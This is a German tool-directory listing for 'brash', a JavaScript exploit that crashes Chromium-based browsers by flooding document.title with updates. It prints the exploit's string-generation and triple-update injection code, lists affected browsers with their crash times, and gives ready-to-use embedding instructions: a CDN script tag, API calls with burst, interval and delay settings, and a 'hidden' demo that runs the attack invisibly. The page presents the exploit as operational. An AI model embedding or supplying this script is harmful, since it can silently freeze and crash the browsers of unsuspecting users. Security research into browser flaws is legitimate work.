Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
brash — Chromium Browser DoS-Angriff durch Ausnutzung von document.title | Kitploit
Tools/GitHubGitHub/jofpin/brash
Exploit-FrameworksSchwachstellenanalyseWebanwendungs-ExploitationPenetrationstests
GitHubjofpin/brash

brash

Chromium Browser DoS-Angriff durch Ausnutzung von document.title

Repository anzeigen
180616vor 11 MonatenVon Kitploit geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Brash

Brash von Jose Pino

Chromium-Browser-DoS-Angriff durch document.title-Ausnutzung

Brash ist eine kritische Schwachstelle in Blink, der Rendering-Engine, die Google Chromium-basierte Browser antreibt. Sie ermöglicht es, jeden Chromium-Browser innerhalb von 15-60 Sekunden zum Absturz zu bringen, indem ein Architekturfehler in der Verwaltung bestimmter DOM-Operationen ausgenutzt wird.

Der Angriffsvektor resultiert aus dem völligen Fehlen einer Ratenbegrenzung für document.title-API-Updates. Dadurch können Millionen von DOM-Mutationen pro Sekunde injiziert werden, was den Hauptthread sättigt, die Ereignisschleife stört und zum Zusammenbruch der Benutzeroberfläche führt. Die Auswirkungen sind erheblich: hohe CPU-Auslastung, Verschlechterung der Gesamtsystemleistung und mögliche Blockierung oder Verlangsamung anderer gleichzeitig laufender Prozesse. Da Chromium-Browser auf Desktop, Android und in eingebetteten Umgebungen betroffen sind, setzt diese Schwachstelle über 3 Milliarden Menschen im Internet einem Denial-of-Service auf Systemebene aus.

STATUS: Betriebsbereit
BETROFFENE VERSIONEN: Chromium ≤ 143.0.7483.0 (getestet: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] Der Exploit ist derzeit betriebsbereit. Sobald die Schwachstelle behoben ist, wird dieser Code nicht mehr funktionieren. Unabhängig davon war es eine unglaublich lohnende Reise, diesen Architekturfehler zu entdecken und den gesamten Forschungs-, Dokumentations- und Designprozess abzuschließen, um etwas Wirkungsvolles mit der Welt zu teilen.

Tests

11 große Browser wurden auf macOS, Windows und Linux getestet, um die Auswirkungen der Schwachstelle zu validieren.

Anfällig (Chromium/Blink)

Alle Chromium-basierten Browser sind anfällig, da der Fehler im Kern der Blink-Rendering-Engine liegt:

  • Chrome — stürzt in 15-30 Sekunden ab
  • Edge — stürzt in 15-25 Sekunden ab
  • Vivaldi — stürzt in 15-30 Sekunden ab
  • Arc Browser — stürzt in 15-30 Sekunden ab
  • Dia Browser — stürzt in 15-30 Sekunden ab
  • Opera — stürzt in ~60 Sekunden ab
  • Perplexity Comet — stürzt in 15-35 Sekunden ab
  • ChatGPT Atlas — stürzt in 15-60 Sekunden ab
  • Brave — stürzt in 30-125 Sekunden ab

Nicht anfällig (Verwendung anderer Engines)

  • Firefox (Gecko-Engine) — immun gegen den Angriff
  • Safari (WebKit-Engine) — immun gegen den Angriff
  • iOS-Browser (alle verwenden WebKit) — immun gegen den Angriff aufgrund der obligatorischen Richtlinie von Apple, die von allen iOS-Browsern die Verwendung von WebKit als Rendering-Engine verlangt, was Chromium-basierte Browser auf iOS unmöglich macht

Wie es funktioniert

Brash nutzt einen grundlegenden Architekturfehler in der Blink-Rendering-Engine aus: das Fehlen einer Drosselung von document.title-Updates. Der Angriff läuft in drei kritischen Phasen ab:

1. Hash-Generierung (Vorbereitung)

Erzeugt 100 eindeutige hexadezimale Zeichenfolgen mit 512 Zeichen und speichert sie im Speicher, bevor der Angriff beginnt.

Warum werden sie vorab geladen und nicht in Echtzeit generiert?

Weil das ständige Generieren neuer Zeichenfolgen CPU-Zeit für mathematische Operationen verbraucht. Diese Zeit ist entscheidend – jede Millisekunde, die für das Generieren von Zeichenfolgen aufgewendet wird, ist Zeit, die NICHT dafür genutzt wird, den Browser mit document.title-Updates zu bombardieren.

Durch 100 bereits im Speicher geladene Zeichenfolgen:

  • Schnellerer Angriff: Keine Pausen zum Generieren von Zeichenfolgen
  • Fokussierte CPU: 100 % der Ressourcen werden für die Sättigung des Browsers verwendet
  • Weniger Systempausen: Verhindert, dass der Garbage Collector ständig aktiviert wird
  • Umgeht Erkennung: Die 100 verschiedenen Zeichenfolgen verhindern, dass der Browser Updates zwischenspeichert oder optimiert

Das Ergebnis ist eine maximale Injektionsgeschwindigkeit bei maximalem Speicherverbrauch pro Update.

// Generiert hochgradig entropische eindeutige IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. Burst-Injektion (Angriff)

Führt konfigurierbare Schübe von Titelaktualisierungen aus. Mit der Standardkonfiguration (Burst: 8000, Intervall: 1 ms) wird versucht, etwa 24 Millionen Aktualisierungen pro Sekunde zu injizieren, und während dieses Versuchs beginnt der Browser zusammenzubrechen.

// Dreifach-Aktualisierungsmuster: Maximiert das Thrashing der Rendering-Pipeline
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Jeder Burst führt 3 sequentielle Updates durch
    }
    this.counter += 0x3;
}

3. UI-Thread-Sättigung (Zusammenbruch)

Kontinuierliche Updates sättigen den Hauptthread des Browsers und verhindern die Verarbeitung anderer Ereignisse:

Zeitstrahl des Zusammenbruchs:

  • 0-5s: Anfängliche Sättigung des UI-Threads, extreme CPU-Auslastung
  • 5-10s: Tab vollständig eingefroren, unmöglich zu schließen
  • 10-15s: Browserabsturz oder Dialog „Seite reagiert nicht“
  • 15-60s: Erzwungene Beendigung erforderlich (Chromium-basierte Browser)

Warum funktioniert es?

Blink verarbeitet jede document.title-Änderung synchron auf dem Hauptthread ohne Ratenbegrenzung. Dies erzeugt einen Engpass, der:

  • Die Ereignisschleife blockiert
  • Die Verarbeitung von Benutzereingaben verhindert
  • Den Speicher mit langen Zeichenfolgen sättigt
  • Die Compositor- und Rendering-Pipeline stört
  • Zu Browserprozess-Thrashing führt

Demo & PoC

Um die Auswirkungen von Brash vollständig zu verstehen, können Sie den Exploit in verschiedenen Kontexten erleben – von einer kontrollierten Live-Demo bis hin zu Ihrer eigenen Implementierung. Jede Option ist für unterschiedliche Interaktions- und Verständnisebenen konzipiert.

1. Live-Demo

Der schnellste Weg, Brash in Aktion zu sehen. Besuchen Sie https://brash.run

Um den Exploit ohne grafische Oberfläche zu sehen, besuchen Sie https://brash.run/hidden-live-demo.html. Diese Version führt die Injektion unsichtbar aus und simuliert einen echten Angriff.

2. Lokale Demo

Wenn Sie die Demo lieber in Ihrer eigenen Umgebung ausführen möchten, ermöglicht Ihnen das Verzeichnis exploit-demo/ im Repository Folgendes:

  • Steuerelemente zur Echtzeitanpassung der Angriffsintensität
  • Visueller Zähler der Aktualisierungen pro Sekunde
  • Drei vordefinierte Modi: moderat, aggressiv und extrem
  • Beobachtung des fortschreitenden Browserzusammenbruchs

Öffnen Sie einfach exploit-demo/index.html in einem beliebigen Chromium-Browser und konfigurieren Sie die Werte für burst und interval, bevor Sie beginnen.

  • burstSize: Titeländerungen pro Intervall (höher = aggressiver)
  • interval: Millisekunden zwischen den Bursts (niedriger = aggressiver)

3. Implementieren Sie Ihren eigenen PoC

Um Brash in Ihre eigenen Sicherheitstests oder Forschungen zu integrieren, binden Sie das Skript ein und konfigurieren Sie den Angriff:

Skript einbinden:

<!-- Lokal -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

API-Nutzung:

// 1. Sofortiger Angriff
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Verzögerung in Sekunden (Standard)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 Sekunden
});

// 3. Verzögerung mit Zeichenfolgen
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // oder "5000ms" oder "3m"
});
Tool herunterladen